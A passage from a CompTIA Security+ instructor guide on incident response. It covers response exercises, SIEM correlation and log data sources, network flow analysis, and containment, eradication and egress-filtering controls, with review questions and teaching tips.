in response. Unlike a tabletop exercise, the responders perform actions such as
running scans and analyzing sample files, typically on sandboxed versions of the
company's actual response and recovery tools.

• Simulations—a simulation is a team-based exercise, where the red team attempts

an intrusion, the blue team operates response and recovery controls, and a
white team moderates and evaluates the exercise. This type of training requires
considerable investment and planning.

Members of Kentucky and Alabama National and Air Guard participating in a simulated network
attack exercise. (Image © 2017 Kentucky National Guard.)

MITRE have published a white paper that discusses preparing and facilitating incident
response exercises (mitre.org/sites/default/files/publications/pr_14-3929-cyber-exercise-
playbook.pdf).

Show Slide(s) Incident Response, Disaster Recovery, and

Retention Policy
Incident Response,
Disaster Recovery, and Incident response fits into overall planning for enterprise risk management and
Retention Policy
cybersecurity resilience.
Teaching
Tip
Incident Response versus Disaster Recovery and Business
We will return to these
Continuity
topics in detail later
in the course, so at
You should distinguish specific incident response planning from other types of
this point just contrast planning for disaster recovery and business continuity:
these activities with
• Disaster recovery plan—a disaster can be seen as a special class of incident where
incident response.
the organization's primary business function is disrupted. Disaster recovery requires
considerable resources, such as shifting processing to a secondary site. Disaster
recovery will involve a wider range of stakeholders than less serious incidents.

Lesson 17: Performing Incident Response | Topic 17A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 463

• Business continuity plan (BCP)—this identifies how business processes should

deal with both minor and disaster-level disruption. During an incident, a system
may need to be isolated. Continuity planning ensures that there is processing
redundancy supporting the workflow, so that when a server is taken offline for
security remediation, processing can failover to a separate system. If systems do not
have this sort of planned resilience, incident response will be much more disruptive.

• Continuity of Operation Planning (COOP)—this terminology is used for

government facilities, but is functionally similar to business continuity planning. In
some definitions, COOP refers specifically to backup methods of performing mission
functions without IT support.

Incident Response, Forensics, and Retention Policy

The incident response process emphasizes containment, eradication, and recovery.
These aims are not entirely compatible with forensics. Digital forensics describes
techniques to collect and preserve evidence that demonstrate that there has been no
tampering or manipulation. Forensics procedures are detailed and time-consuming,
where the aims of incident response are usually urgent. If an investigation must use
forensic collection methods so that evidence is retained, this must be specified early in
the response process.
Retention policy is also important for retrospective incident handling, or threat
hunting. A retention policy for historic logs and data captures sets the period over
which these are retained. You might discover indicators of a breach months or years
after the event. Without a retention policy to keep logs and other digital evidence, it will
not be possible to make any further investigation.

Lesson 17: Performing Incident Response | Topic 17A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 464 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Incident Response Procedures
Answer the following questions:

1. What are the six phases of the incident response life cycle?

Preparation, Identification, Containment, Eradication, Recovery, and Lessons Learned.

2. True or false? It is important to publish all security alerts to all members

of staff.

False—security alerts should be sent to those able to deal with them at a given level of
security awareness and on a need-to-know basis.

3. You are providing security consultancy to assist a company with improving

incident response procedures. The business manager wants to know why
an out-of-band contact mechanism for responders is necessary. What do
you say?

The response team needs a secure channel to communicate over without alerting
the threat actor. There may also be availability issues with the main communication
network, if it has been affected by the incident.

4. Which attack framework provides descriptions of specific TTPs?

MITRE's ATT&CK framework.

5. Your consultancy includes a training segment. What type of incident

response exercise will best represent a practical incident handling scenario?

A simulation exercise creates an actual intrusion scenario, with a red team performing
the intrusion and a blue team attempting to identify, contain, and eradicate it.

Lesson 17: Performing Incident Response | Topic 17A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 465

Topic 17B
Utilize Appropriate Data Sources
for Incident Response

EXAM OBJECTIVES COVERED Teaching

4.3 Given an incident, utilize appropriate data sources to support an investigation Tip
Keeping the incident
response objectives
and content examples
Security monitoring produces a very large amount of data, and automated detection
together involves
systems can generate a large volume of alerts. Prioritizing and investigating the revisiting SIEM and
most urgent events as incidents and resolving them quickly is a significant challenge log data. Where we
for all types of organization. As a security professional, you must be able to utilize previously focused
appropriate data sources to perform incident identification as efficiently as possible. on log collection,
the focus here is no
reporting from the
Incident Identification SIEM and selecting
appropriate and useful
Identification is the process of collating events and determining whether any of them data sources.
should be managed as incidents or as possible precursors to an incident; that is, an
event that makes an incident more likely to happen. There are multiple channels by Show Slide(s)
which events or precursors may be recorded:
Incident Identification
• Using log files, error messages, IDS alerts, firewall alerts, and other resources
to establish baselines and identifying those parameters that indicate a possible Teaching
security incident. Tip
Make sure students
• Comparing deviations to established metrics to recognize incidents and their
understand the "day-
scopes. to-day" of incident
identification and
• Manual or physical inspections of site, premises, networks, and hosts. alerting.
• Notification by an employee, customer, or supplier.

• Public reporting of new vulnerabilities or threats by a system vendor, regulator, the

media, or other outside party.

It is wise to provide for confidential reporting so that employees are not afraid to
report insider threats, such as fraud or misconduct. It may also be necessary to use an
"out-of-band" method of communication so as not to alert the intruder that his or her
attack has been detected.

First Responder
When a suspicious event is detected, it is critical that the appropriate person on
the CIRT be notified so that they can take charge of the situation and formulate the
appropriate response. This person is referred to as the first responder. This means
that employees at all levels of the organization must be trained to recognize and
respond appropriately to actual or suspected security incidents. A good level of security
awareness across the whole organization will reduce the incidence of false positives
and negatives. For the most serious incidents, the entire CIRT may be involved in
formulating an effective response.

Lesson 17: Performing Incident Response | Topic 17B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 466 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Analysis and Incident Identification

When notification has taken place, the CIRT or other responsible person(s) must
analyze the event to determine whether a genuine incident has been identified and
what level of priority it should be assigned. Analysis will depend on identifying the type
of incident and the data or resources affected (its scope and impact). At this point,
the incident management database should have a record of the event indicators, the
nature of the incident, its impact, and the incident investigator responsible. The next
phase of incident management is to determine an appropriate response.

Show Slide(s) Security and Information Event Management

Security and
Coupled with an attack framework, notification will provide a general sense of where
Information Event to look for or expect indicators of malicious activity. Incident analysis is greatly
Management facilitated by a security information and event management (SIEM) system. A SIEM
parses network traffic and log data from multiple sensors, appliances, and hosts and
normalizes the information to standard field types.

Correlation
The SIEM can then run correlation rules on indicators extracted from the data sources
to detect events that should be investigated as potential incidents. You can also filter or
query the data based on the type of incident that has been reported.
Correlation means interpreting the relationship between individual data points to
diagnose incidents of significance to the security team. A SIEM correlation rule is a
statement that matches certain conditions. These rules use logical expressions, such as
AND and OR, and operators, such as == (matches), < (less than), > (greater than), and
in (contains). For example, a single-user logon failure is not a condition that should
raise an alert. Multiple user logon failures for the same account, taking place within
the space of one hour, is more likely to require investigation and is a candidate for
detection by a correlation rule.
Error.LogonFailure > 3 AND LogonFailure.User AND
Duration < 1 hour
As well as correlation between indicators observed on the network, a SIEM is likely to
be configured with a threat intelligence feed. This means that data points observed on
the network can be associated with known threat actor indicators, such as IP addresses
and domain names. AI-assisted analysis enables more sophisticated alerting and
detection of anomalous behavior.

Retention
A SIEM can enact a retention policy so that historical log and network traffic data is kept
for a defined period. This allows for retrospective incident and threat hunting, and can
be a valuable source of forensic evidence.

Show Slide(s) SIEM Dashboards

SIEM Dashboards
SIEM dashboards are one of the main sources of automated alerts. A SIEM dashboard
provides a console to work from for day-to-day incident response. Separate
dashboards can be created to suit many different purposes. An incident handler's
dashboard will contain uncategorized events that have been assigned to their account,
plus visualizations (graphs and tables) showing key status metrics. A manager's
dashboard would show overall status indicators, such as number of unclassified events
for all event handlers.

Lesson 17: Performing Incident Response | Topic 17B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 467

The SGUIL console in Security Onion. A SIEM can generate huge numbers of alerts
that need to be manually assessed for priority and investigation.
(Screenshot courtesy of Security Onion securityonion.net.)

Sensitivity and Alerts

One of the greatest challenges in operating a SIEM is tuning the system sensitivity
to reduce false positive indicators being reported as an event. This is difficult firstly
because there isn't a simple dial to turn for overall sensitivity, and secondly because
reducing the number of rules that produce events increases the risk of false negatives.
A false negative is where indicators that should be correlated as an event and raise an
alert are ignored.
The correlation rules are likely to assign a criticality level to each match. For example:
• Log only—an event is produced and added to the SIEM's database, but it is
automatically classified.

• Alert—the event is listed on a dashboard or incident handling system for an agent to

assess. The agent classifies the event and either dismisses it to the log or escalates it
as an incident.

• Alarm—the event is automatically classified as critical and a priority alarm is raised.

This might mean emailing an incident handler or sending a text message.

Sensors
A sensor is a network tap or port mirror that performs packet capture and intrusion
detection. One of the key uses of a SIEM is to aggregate data from multiple sensors and
log sources, but it might also be appropriate to configure dashboards that show output
from a single sensor or source host.

Lesson 17: Performing Incident Response | Topic 17B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 468 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Trend Analysis

Trend Analysis Trend analysis is the process of detecting patterns or indicators within a data set
over a time series and using those patterns to make predictions about future events.
A trend is difficult to spot by examining each event in a log file. Instead, you need
software to visualize the incidence of types of event and show how the number or
frequency of those events changes over time. Trend analysis can apply to frequency,
volume, or statistical deviation:
• Frequency-based trend analysis establishes a baseline for a metric, such as number
of NXERROR DNS log events per hour of the day. If the frequency exceeds (or in
some cases undershoots) the threshold for the baseline, then an alert is raised.

• Volume-based trend analysis can be performed with simpler indicators. For

example, one simple metric for determining threat level is log volume. If logs
are growing much faster than they were previously, there is a good chance that
something needs investigating. Volume-based analysis also applies to network
traffic. You might also measure endpoint disk usage. Client workstations don’t
usually need to store data locally, so if a host's disk capacity has suddenly
diminished, it could be a sign that it is being used to stage data for exfiltration.

• Statistical deviation analysis can show when a data point should be treated as
suspicious. For example, a cluster graph might show activity by standard users and
privileged users, invoking analysis of behavioral metrics of what processes each type
runs, which systems they access, and so on. A data point that appears outside the
two clusters for standard and administrative users might indicate some suspicious
activity by that account.

Show Slide(s) Logging Platforms

Logging Platforms
Log data from network appliances and hosts can be aggregated by a SIEM either by
installing a local agent to collect and parse the log data or by using a forwarding system
Teaching
to transmit logs directly to the SIEM server. Also, organizations may not operate a SIEM,
Tip
but still use a logging platform to aggregate log data in a central location.
Focus on syslog, Syslog
but make sure
students recognize
Syslog (tools.ietf.org/html/rfc3164) provides an open format, protocol, and server
the difference in the
alternative platforms. software for logging event messages. It is used by a very wide range of host types. For
example, syslog messages can be generated by Cisco routers and switches, as well as
servers and workstations. It usually uses UDP port 514.
A syslog message comprises a PRI code, a header containing a timestamp and host
name, and a message part. The PRI code is calculated from the facility and a severity
level. The message part contains a tag showing the source process plus content.
The format of the content is application dependent. It might use space- or comma-
delimited fields or name/value pairs, such as JSON data.

RFC 5424 (tools.ietf.org/html/rfc5424) adjusts the structure slightly to split the tag into app
name, process ID, and message ID fields, and to make them part of the header.

Rsyslog and Syslog-ng

There have been two updates to the original syslog specification:
• Rsyslog uses the same configuration file syntax, but can work over TCP and
use a secure connection. Rsyslog can use more types of filter expressions in its
configuration file to customize message handling.

Lesson 17: Performing Incident Response | Topic 17B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 469

• Syslog-ng uses a different configuration file syntax, but can also use TCP/secure
communications and more advanced options for message filtering.

journalctl
In Linux, text-based log files of the sort managed by syslog can be viewed using
commands such as cat, tail, and head. Most modern Linux distributions now
use systemd to initialize the system and to start and manage background services.
Rather than writing events to syslog-format text files, logs from processes managed
by systemd are written to a binary-format file called journald. Events captured by
journald can be forwarded to syslog. To view events in journald directly, you can use
the journalctl command to print the entire journal log, or you can issue various
options with the command to filter the log in a variety of ways, such as matching a
service name or only printing messages matching the specified severity level.

NXlog
NXlog (nxlog.co) is an open-source log normalization tool. One principal use for it is
to collect Windows logs, which use an XML-based format, and normalize them to a
syslog format.

Network, OS, and Security Log Files Show Slide(s)

Log file data is a critical resource for investigating security incidents. As well as the Network, OS, and
log format, you must also consider the range of sources for log files and know how to Security Log Files
determine what type of log file will best support any given investigation scenario.
Teaching
System and Security Logs Tip
Emphasize that relying
One source of security information is the event log from each network server or client.
on the default logging
Systems such as Microsoft Windows, Apple macOS, and Linux keep a variety of logs to options is unlikely to
record events as users and software interact with the system. The format of the logs be sufficient. Audit
varies depending on the system. Information contained within the logs also varies by logs in particular
system, and in many cases, the type of information that is captured can be configured. require careful tuning
to provide an effective
When events are generated, they are placed into log categories. These categories audit trail and enforce
describe the general nature of the events or what areas of the OS they affect. The five accountability and
main categories of Windows event logs are: non-repudiation.
We do mention it
• Application—events generated by applications and services, such as when a service elsewhere, but you
cannot start. may want to remind
students that sysmon
• Security—audit events, such as a failed logon or access to a file being denied. is very widely used
for Windows security
• System—events generated by the operating system and its services, such as storage logging (github.com/
volume health checks. SwiftOnSecurity/
sysmon-config).
• Setup—events generated during the installation of Windows.

• Forwarded Events—events that are sent to the local log from other hosts.

Network Logs
Network logs are generated by appliances such as routers, firewalls, switches, and
access points. Log files will record the operation and status of the appliance itself—the
system log for the appliance—plus traffic and access logs recording network behavior,
such as a host trying to use a port that is blocked by the firewall, or an endpoint trying
to use multiple MAC addresses when connected to a switch.

Lesson 17: Performing Incident Response | Topic 17B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 470 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Authentication Logs
Authentication attempts for each host are likely to be written to the security log. You
might also need to inspect logs from the servers authorizing logons, such as RADIUS
and TACACS+ servers or Windows Active Directory (AD) servers.

Vulnerability Scan Output

A vulnerability scan report is another important source when determining how an
attack might have been made. The scan engine might log or alert when a scan report
contains vulnerabilities. The report can be analyzed to identify vulnerabilities that have
not been patched or configuration weaknesses that have not been remediated. These
can be correlated to recently developed exploits.

Show Slide(s) Application Log Files

Application Log Files
An application log file is simply one that is managed by the application rather than
the OS. The application may use Event Viewer or syslog to write event data using a
Teaching standard format, or it might write log files to its own application directories in whatever
Tip format the developer has selected.
You don't need to
go through these in DNS Event Logs
detail in class. Just
make sure students A DNS server may log an event each time it handles a request to convert between a
know what type of domain name and an IP address. DNS event logs can hold a variety of information that
information can be may supply useful security intelligence, such as:
retrieved from each
type of data source. • The types of queries a host has made to DNS.

• Hosts that are in communication with suspicious IP address ranges or domains.

• Statistical anomalies such as spikes or consistently large numbers of DNS

lookup failures, which may point to computers that are infected with malware,
misconfigured, or running obsolete or faulty applications.

Web/HTTP Access Logs

Web servers are typically configured to log HTTP traffic that encounters an error or
traffic that matches some predefined rule set. Most web servers use the common log
format (CLF) or W3C extended log file format to record the relevant information.
The status code of a response can reveal quite a bit about both the request and the
server's behavior. Codes in the 400 range indicate client-based errors, while codes in
the 500 range indicate server-based errors. For example, repeated 403 ("Forbidden")
responses may indicate that the server is rejecting a client's attempts to access
resources they are not authorized to. A 502 ("Bad Gateway") response could indicate
that communications between the target server and its upstream server are being
blocked, or that the upstream server is down.
In addition to status codes, some web server software also logs HTTP header
information for both requests and responses. This can provide you with a better
picture of the makeup of each request or response, such as cookie information and
MIME types. Another header field of note is the User-Agent field, which identifies
the type of application making the request. In most cases, this is the version of the
browser that the client is using to access a site, as well as the client's operating system.
However, this can be misleading, as even a browser like Microsoft Edge includes
versions of Google Chrome and Safari in its User-Agent string. Therefore, the User-
Agent field may not be a reliable indicator of the client's environment.

Lesson 17: Performing Incident Response | Topic 17B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 471

VoIP and Call Managers and Session Initiation Protocol (SIP) Traffic
Many VoIP systems use the Session Initiation Protocol (SIP) to identify endpoints and
setup calls. The call content is transferred using a separate protocol, typically the Real
Time Protocol (RTP). VoIP protocols are vulnerable to most of the same vulnerabilities
and exploits as web communications. Both SIP and RTP should use the secure
protocol forms, where endpoints are authenticated and communications protected by
Transport Layer Security (TLS).
The call manager is a gateway that connects endpoints within the local network and
over the Internet. The call manager is also likely to implement a media gateway to
connect VoIP calls to cellphone and landline telephone networks. SIP produces similar
logs to SMTP, typically in the common log format. A SIP log will identify the endpoints
involved in a call request, plus the type of connection (voice only or voice with video,
for instance), and status messaging. When handling requests, the call manager and
any other intermediate servers add their IP address in a Via header, similar to per-
hop SMTP headers. Inspecting the logs might reveal evidence of a man-in-the-middle
attack where an unauthorized proxy is intercepting traffic. VoIP systems connected to
telephone networks are also targets for toll fraud. The call manager's access log can be
audited for suspicious connections.

Dump Files
System memory contains volatile data. A system memory dump creates an image
file that can be analyzed to identify the processes that are running, the contents of
temporary file systems, registry data, network connections, cryptographic keys, and
more. It can also be a means of accessing data that is encrypted when stored on a
mass storage device.

Metadata Show Slide(s)

Metadata is the properties of data as it is created by an application, stored on media, Metadata

or transmitted over a network. A number of metadata sources are likely to be useful
when investigating incidents, because they can establish timeline questions, such as
when and where, as well as containing other types of evidence.

File
File metadata is stored as attributes. The file system tracks when a file was created,
accessed, and modified. A file might be assigned a security attribute, such as marking
it as read-only or as a hidden or system file. The ACL attached to a file showing its
permissions represents another type of attribute. Finally, the file may have extended
attributes recording an author, copyright information, or tags for indexing/searching. In
Linux, the ls command can be used to report file system metadata.

Web
When a client requests a resource from a web server, the server returns the resource
plus headers setting or describing its properties. Also, the client can include headers
in its request. One key use of headers is to transmit authorization information, in
the form of cookies. Headers describing the type of data returned (text or binary, for
instance) can also be of interest. The contents of headers can be inspected using the
standard tools built into web browsers. Header information may also be logged by a
web server.

Email
An email's Internet header contains address information for the recipient and sender,
plus details of the servers handling transmission of the message between them. When

Lesson 17: Performing Incident Response | Topic 17B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 472 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

an email is created, the mail user agent (MUA) creates an initial header and forwards
the message to a mail delivery agent (MDA). The MDA should perform checks that the
sender is authorized to issue messages from the domain. Assuming the email isn't
being delivered locally at the same domain, the MDA adds or amends its own header
and then transmits the message to a message transfer agent (MTA). The MTA routes
the message to the recipient, with the message passing via one or more additional
MTAs, such as SMTP servers operated by ISPs or mail security gateways. Each MTA
adds information to the header.
Headers aren't exposed to the user by most email applications, which is why they're
usually not a factor in an average user's judgment. You can view and copy headers
from a mail client via a message properties/options/source command. MTAs can add
a lot of information in each received header, such as the results of spam checking. If
you use a plaintext editor to view the header, it can be difficult to identify where each
part begins and ends. Fortunately, there are plenty of tools available to parse headers
and display them in a more structured format. One example is the Message Analyzer
tool, available as part of the Microsoft Remote Connectivity Analyzer (testconnectivity.
microsoft.com/tests/o365). This will lay out the hops that the message took more
clearly and break out the headers added by each MTA.

Mobile
Mobile phone metadata comprises call detail records (CDRs) of incoming, outgoing,
and attempted calls and SMS text time, duration, and the opposite party's number.
Metadata will also record data transfer volumes. The location history of the device
can be tracked by the list of cell towers it has used to connect to the network. If you
are investigating a suspected insider attack, this metadata could prove a suspect's
whereabouts. Furthermore, AI-enabled analysis (or patient investigation) can
correlate the opposite party numbers to businesses and individuals through other
public records.
CDRs are generated and stored by the mobile operator. The retention period for CDRs
is determined by national and state laws, but is typically around 18 months. CDRs are
directly available for corporate-owned devices, where you can request them from the
communications provider as the owner of the device. Metadata for personally owned
devices would only normally be accessible by law enforcement agencies by subpoena
or with the consent of the account holder. An employment contract might require an
employee to give this consent for bring your own device (BYOD) mobiles used within
the workplace.

Metadata such as current location and time is also added to media such as photos and
videos, though this is true for all types of computing device. When these files are uploaded
to social media sites, they can reveal more information than the uploader intended.

Show Slide(s) Network Data Sources

Network Data Sources
Network data is typically analyzed in detail at the level of individual frames or using
summary statistics of traffic flows and protocol usage.

Protocol Analyzer Output

A SIEM will store details from sensors at different points on the network. Information
captured from network packets can be aggregated and summarized to show overall
protocol usage and endpoint activity. The contents of packets can also be recorded for
analysis. Recording the full data of every packet—referred to as retrospective network
analysis (RNA)—is too costly for most organizations. Typically, packet contents are only
retained when indicators from the traffic are correlated as an event. The SIEM software

Lesson 17: Performing Incident Response | Topic 17B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 473

will provide the ability to pivot from the event or alert summary to the underlying
packets. Detailed analysis of the packet contents can help to reveal the tools used in an
attack. It is also possible to extract binary files such as potential malware for analysis.

Netflow/IPFIX
A flow collector is a means of recording metadata and statistics about network traffic
rather than recording each frame. Network traffic and flow data may come from a wide
variety of sources (or probes), such as switches, routers, firewalls, web proxies, and so
forth. Flow analysis tools can provide features such as:
• Highlighting of trends and patterns in traffic generated by particular applications,
hosts, and ports.

• Alerting based on detection of anomalies, flow analysis patterns, or custom triggers.

• Visualization tools that enable you to quickly create a map of network connections
and interpret patterns of traffic and flow data.

• Identification of traffic patterns revealing rogue user behavior, malware in transit,

tunneling, applications exceeding their allocated bandwidth, and so forth.

• Identification of attempts by malware to contact a handler or command & control

(C&C) channel.

NetFlow is a Cisco-developed means of reporting network flow information to a

structured database. NetFlow has been redeveloped as the IP Flow Information
Export (IPFIX) IETF standard (tools.ietf.org/html/rfc7011). A particular traffic flow can
be defined by packets sharing the same characteristics, referred to as keys, such as IP
source and destination addresses and protocol type. A selection of keys is called a flow
label, while traffic matching a flow label is called a flow record.
You can use a variety of NetFlow monitoring tools to capture data for point-in-
time analysis and to diagnose any security or operational issues the network is
experiencing. There are plenty of commercial NetFlow suites, plus products offering
similar functionality to NetFlow. The SiLK suite (tools.netsa.cert.org/silk/) and nfdump/
nfsen (nfsen.sourceforge.net/) are examples of open-source implementations. Another
popular tool is Argus (openargus.org). This uses a different data format to NetFlow, but
the client tools can read and translate NetFlow data.

sFlow
sFlow, developed by HP and subsequently adopted as a web standard (tools.ietf.org/
html/rfc3176), uses sampling to measure traffic statistics at any layer of the OSI model
for a wider range of protocol types than the IP-based Netflow. sFlow can also capture
the entire packet header for samples.

Bandwidth Monitor
Bandwidth usage can be a key indicator of suspicious behavior, if you have reliable
baselines for comparison. Unexpected bandwidth consumption could be evidence
of a data exfiltration attack, for instance. Bandwidth usage can be reported by flow
collectors. Firewalls and web security gateways are also likely to support bandwidth
monitoring and alerting.

Lesson 17: Performing Incident Response | Topic 17B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 474 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Appropriate Data Sources for
Incident Response
Answer the following questions:

1. True or false? The "first responder" is whoever first reports an incident to

the CIRT.

False—the first responder would be the member of the CIRT to handle the report.

2. You need to correlate intrusion detection data with web server log files.
What component must you deploy to collect IDS alerts in a SIEM?

You need to deploy a sensor to send network packet captures or intrusion detection
alerts to the SIEM.

3. Which software tool is most appropriate for forwarding Windows event logs
to a Syslog-compatible server?

NXlog is designed as a multi-platform logging system.

4. A technician is seeing high volumes of 403 Forbidden errors in a log. What

type of network appliance or server is producing these logs?

403 Forbidden is an HTTP status code, so most likely a web server. Another possibility
is a web proxy or gateway.

5. What type of data source(s) would you look for evidence of a suspicious
MTA in?

A Message Transfer Agent (MTA) is an SMTP server. You might inspect an SMTP log or
the Internet header metadata of an email message.

6. You are supporting a SIEM deployment at a customer's location. The

customer wants to know whether flow records can be ingested. What type
of data source is a flow record?

Flow records are generated by NetFlow or IP Flow Information Export (IPFIX) probes.
A flow record is data that matches a flow record, which is a particular combination of
keys (IP endpoints and protocol/port types).

Lesson 17: Performing Incident Response | Topic 17B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 475

Topic 17C
Apply Mitigation Controls

EXAM OBJECTIVES COVERED Teaching

1.2 Given a scenario, analyze potential indicators to determine the type of attack Tip
4.4 Given an incident, apply mitigation techniques or controls to secure an environment This topic completes
the review of the
incident response
Mitigation techniques are applied first to contain, and then to eradicate and recover objectives by
from the effects of malicious activity. Incident response is a highly pressured activity, looking at mitigation
with the conflicting challenges of eliminating the intrusion without disrupting business techniques. We also
workflows. You must be able to select and apply the appropriate technique for a discuss attacks on AI
given scenario. training data.

Incident Containment Show Slide(s)

As incidents cover such a wide range of different scenarios, technologies, motivations, Incident Containment
and degrees of seriousness, there is no standard approach to containment or incident
isolation. Some of the many complex issues facing the CIRT are: Teaching
• What damage or theft has occurred already? How much more could be inflicted and Tip
in what sort of time frame (loss control)? Note that containment
strategies can be
• What countermeasures are available? What are their costs and implications? influenced by the need
to preserve forensic
• What actions could alert the attacker to the fact that the attack has been detected? evidence.
What evidence of the attack must be gathered and preserved?

When an incident has been identified, classified, and prioritized, the next phase of
incident response is containment. Containment techniques can be classed as either
isolation-based or segmentation-based.

Isolation-Based Containment
Isolation involves removing an affected component from whatever larger environment
it is a part of. This can be everything from removing a server from the network after it
has been the target of a DoS attack, to placing an application in a sandbox VM outside
of the host environments it usually runs on. Whatever the circumstances may be,
you'll want to make sure that there is no longer an interface between the affected
component and your production network or the Internet.
A simple option is to disconnect the host from the network completely, either by
pulling the network plug (creating an air gap) or disabling its switch port. This is the
least stealthy option and will reduce opportunities to analyze the attack or malware.
If a group of hosts is affected, you could use routing infrastructure to isolate one or
more infected virtual LANs (VLANs) in a black hole that is not reachable from the rest
of the network. Another possibility is to use firewalls or other security filters to prevent
infected hosts from communicating.
Finally, isolation could also refer to disabling a user account or application service.
Temporarily disabling users' network accounts may prove helpful in containing damage
if an intruder is detected within the network. Without privileges to access resources, an
intruder will not be able to further damage or steal information from the organization.

Lesson 17: Performing Incident Response | Topic 17C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 476 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Applications that you suspect may be the vector of an attack can be much less effective
to the attacker if the application is prevented from executing on most hosts.

Segmentation-Based Containment
Segmentation-based containment is a means of achieving the isolation of a host
or group of hosts using network technologies and architecture. Segmentation uses
VLANs, routing/subnets, and firewall ACLs to prevent a host or group of hosts from
communicating outside the protected segment. As opposed to completely isolating the
hosts, you might configure the protected segment as a sinkhole or honeynet and allow
the attacker to continue to receive filtered (and possibly modified) output over the
C&C channel to deceive him or her into thinking the attack is progressing successfully.
Analysis of the malware code by reverse engineering it could provide powerful
deception capabilities. You could intercept the function calls made by malware to allow
the adversary to believe an attack is proceeding while building detailed knowledge of
their tactics and (hopefully) identity. Attribution of the attack to a particular group will
allow an estimation of adversary capability.

Show Slide(s) Incident Eradication and Recovery

Incident Eradication
After an incident has been contained, you can apply mitigation techniques and controls
and Recovery to eradicate the intrusion tools and unauthorized configuration changes from your
systems. Eradicating malware, backdoors, and compromised accounts from individual
hosts is not the last step in incident response. You should also consider a recovery
phase where the goal is restoration of capabilities and services. This means that hosts
are fully reconfigured to operate the business workflow they were performing before
the incident. An essential part of recovery is the process of ensuring that the system
cannot be compromised through the same attack vector (or failing that, that the vector
is closely monitored to provide advance warning of another attack).
Eradication of malware or other intrusion mechanisms and recovery from the attack
will involve several steps:
1. Reconstitution of affected systems—either remove the malicious files or tools
from affected systems or restore the systems from secure backups/images.

If reinstalling from baseline template configurations or images, make sure that there is
nothing in the baseline that allowed the incident to occur! If so, update the template before
rolling it out again.

2. Reaudit security controls—ensure they are not vulnerable to another attack. This
could be the same attack or from some new attack that the attacker could launch
through information they have gained about your network.

If your organization is subjected to a targeted attack, be aware that one incident may be
very quickly followed by another.

3. Ensure that affected parties are notified and provided with the means to
remediate their own systems. For example, if customers' passwords are stolen,
they should be advised to change the credentials for any other accounts where
that password might have been used (not good practice, but most people do it).

Show Slide(s) Firewall Configuration Changes

Firewall Configuration
Analysis of an attack should identify the vector exploited by the attacker. This analysis
Changes is used to identify configuration changes that block that attack vector. A configuration

Lesson 17: Performing Incident Response | Topic 17C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 477

change may mean the deployment of a new type of security control, or altering the
settings of an existing control to make it more effective.
Historically, many organizations focused on ingress filtering rules, designed to
prevent local network penetration from the Internet. In the current threat landscape,
it is imperative to also apply strict egress filtering rules to prevent malware that has
infected internal hosts by other means from communicating out to C&C servers. Egress
filtering can be problematic in terms of interrupting authorized network activity, but it
is an essential component of modern network defense. Some general guidelines for
configuring egress filtering are:
• Allow only authorized application ports and, if possible, restrict the destination
addresses to authorized Internet hosts. Where authorized hosts cannot be
identified or a default deny is too restrictive, use URL and content filtering to try to
detect malicious traffic over authorized protocols.

• Restrict DNS lookups to your own or your ISP's DNS services or authorized public
resolvers, such as Google's or Quad9's DNS services.

• Block access to "known bad" IP address ranges, as listed on don't route or peer
(DROP) filter lists.

• Block access from any IP address space that is not authorized for use on your
local network.

• Block all Internet access from host subnets that do not need to connect to the
Internet, such as most types of internal server, workstations used to manage
industrial control systems (ICSs), and so on.

Even within these rules, there is a lot of scope for threat actors to perform command
signaling and exfiltration. For example, cloud services, such as content delivery
networks and social media platforms, can be used to communicate scripts and
malware commands and to exfiltrate data over HTTPS (rhinosecuritylabs.com/aws/
hiding-cloudcobalt-strike-beacon-c2-using-amazon-apis).

Content Filter Configuration Changes Show Slide(s)

The limitations of a basic packet filtering firewall (even if it is stateful) mean that some Content Filter
sort of content filtering application proxy may provide better security. These types of Configuration Changes
appliances are usually referred to as secure web gateways (SWGs). A SWG mediates
user access to Internet services, with the ability to block content from regularly
updated URL/domain/IP blacklists and perform intrusion detection/prevention on
traffic based on matching content in application layer protocol headers and payloads.
If a SWG is already in place, an attacker may have found a way to circumvent it via
some sort of backdoor. The network configuration should be checked and updated
to ensure that all client access to the Internet must pass through the SWG. Another
possibility is that the attacker is using a protocol or C&C method that is not filtered.
The SWG should be updated with scripts and data, domains and IP addresses, that will
block the exploit.

Data Loss Prevention (DLP)

Data loss prevention (DLP) performs a similar function, but instead of user access it
mediates the copying of tagged data to restrict it to authorized media and services. An
